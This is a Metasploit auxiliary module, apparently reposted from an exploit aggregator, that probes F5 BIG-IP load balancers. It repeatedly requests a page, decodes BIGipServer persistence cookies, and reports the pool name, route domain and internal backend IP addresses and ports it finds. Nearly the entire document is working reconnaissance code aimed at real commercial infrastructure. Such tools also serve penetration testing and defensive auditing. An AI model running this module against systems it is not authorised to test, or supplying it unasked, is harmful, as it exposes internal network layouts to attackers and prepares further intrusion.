Share
## https://sploitus.com/exploit?id=PACKETSTORM:180611
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP Backend Cookie Disclosure',  
'Description' => %q{  
This module identifies F5 BIG-IP load balancers and leaks backend information  
(pool name, routed domain, and backend servers' IP addresses and ports) through  
cookies inserted by the BIG-IP systems.  
},  
'Author' => [  
'Thanat0s <thanspam[at]trollprod.org>',  
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',  
'Nikita Oleksov <neoleksov[at]gmail.com>',  
'Denis Kolegov <dnkolegov[at]gmail.com>',  
'Paul-Emmanuel Raoul <skyper@skyplabs.net>'  
],  
'References' => [  
['URL', 'https://support.f5.com/csp/article/K6917'],  
['URL', 'https://support.f5.com/csp/article/K7784'],  
['URL', 'https://support.f5.com/csp/article/K14784'],  
['URL', 'https://support.f5.com/csp/article/K23254150']  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => []  
}  
)  
)  
  
register_options(  
[  
OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),  
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),  
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])  
]  
)  
end  
  
def change_endianness(value, size = 4)  
conversion = nil  
if size == 4  
conversion = [value].pack('V').unpack('N').first  
elsif size == 2  
conversion = [value].pack('v').unpack('n').first  
end  
conversion  
end  
  
def cookie_decode(cookie_value)  
backend = {}  
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./  
host = Regexp.last_match(1).to_i  
port = Regexp.last_match(2).to_i  
host = change_endianness(host)  
host = Rex::Socket.addr_itoa(host)  
port = change_endianness(port, 2)  
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/  
host = Regexp.last_match(1).to_i(16)  
port = Regexp.last_match(2).to_i  
host = Rex::Socket.addr_itoa(host)  
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/  
host = Regexp.last_match(1).to_i(16)  
port = Regexp.last_match(2).to_i  
host = Rex::Socket.addr_itoa(host, true)  
port = change_endianness(port, 2)  
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/  
host = Regexp.last_match(1).to_i(16)  
port = Regexp.last_match(2).to_i  
host = Rex::Socket.addr_itoa(host, true)  
else  
host = nil  
port = nil  
end  
  
backend[:host] = host.nil? ? nil : host  
backend[:port] = port.nil? ? nil : port  
backend  
end  
  
def fetch_cookie  
# Request a page and extract a F5 looking cookie  
cookie = {}  
res = send_request_raw('method' => 'GET', 'uri' => @uri)  
  
unless res.nil?  
# Get the SLB session IDs for all cases:  
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",  
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",  
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",  
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"  
  
regexp = /  
([~.\-\w]+)=(((?:\d+\.){2}\d+)|  
(rd\d+o0{20}f{4}\w+o\d{1,5})|  
(vi([a-f0-9]{32})\.(\d{1,5}))|  
(rd\d+o([a-f0-9]{32})o(\d{1,5})))  
(?:$|,|;|\s)  
/x  
m = res.get_cookies.match(regexp)  
cookie[:id] = m.nil? ? nil : m[1]  
cookie[:value] = m.nil? ? nil : m[2]  
end  
cookie  
end  
  
def run  
requests = datastore['REQUESTS']  
backends = []  
cookie_name = ''  
pool_name = ''  
route_domain = ''  
@uri = normalize_uri(target_uri.path.to_s)  
print_status("Starting request #{@uri}")  
  
(1..requests).each do |i|  
cookie = fetch_cookie # Get the cookie  
# If the cookie is not found, stop process  
if cookie.empty? || cookie[:id].nil?  
print_error('F5 BIG-IP load balancing cookie not found')  
return nil  
end  
  
# Print the cookie name on the first request  
if i == 1  
cookie_name = cookie[:id]  
print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")  
if cookie[:id].start_with?('BIGipServer')  
pool_name = cookie[:id].split('BIGipServer')[1]  
print_good("Load balancing pool name \"#{pool_name}\" found")  
end  
if cookie[:value].start_with?('rd')  
route_domain = cookie[:value].split('rd')[1].split('o')[0]  
print_good("Route domain \"#{route_domain}\" found")  
end  
end  
  
backend = cookie_decode(cookie[:value])  
unless backend[:host].nil? || backends.include?(backend)  
print_good("Backend #{backend[:host]}:#{backend[:port]} found")  
backends.push(backend)  
end  
end  
  
# Reporting found cookie name in database  
unless cookie_name.empty?  
report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)  
# Reporting found pool name in database  
unless pool_name.empty?  
report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)  
end  
# Reporting found route domain in database  
unless route_domain.empty?  
report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)  
end  
end  
# Reporting found backends in database  
unless backends.empty?  
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)  
end  
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError  
print_error('Network connection error')  
rescue ::OpenSSL::SSL::SSLError  
print_error('SSL/TLS connection error')  
end  
end